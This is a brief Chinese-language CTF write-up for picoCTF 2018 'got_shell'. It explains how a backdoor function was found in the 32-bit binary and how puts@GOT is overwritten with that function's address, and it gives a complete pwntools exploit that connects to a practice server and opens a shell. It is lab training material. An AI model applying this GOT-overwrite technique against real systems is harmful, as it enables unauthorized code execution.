picoctf_2018_got_shell
步骤:
- 例行检查,32位程序,开启了nx
- 本地试运行一下,看看大概的情况,提示了两个地址
- 32位ida载入,检索字符串发现了后门,shell_addr=0x804854B
- main()
让我们将内容写入到我们选择的地址上。一开始想尝试溢出后来发现没有溢出漏洞
那么就根据程序的功能,将后门写入到puts@got上,这样在执行第16行的puts的时候我们就能获取shell了
完整exp
from pwn import *
r=remote('node3.buuoj.cn',29252)
elf=ELF('./PicoCTF_2018_got-shell')
puts_got=elf.got['puts']
shell_addr=0x804854B
r.recvuntil("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?")
r.sendline(hex(puts_got))
r.recv()
r.sendline(hex(shell_addr))
r.interactive()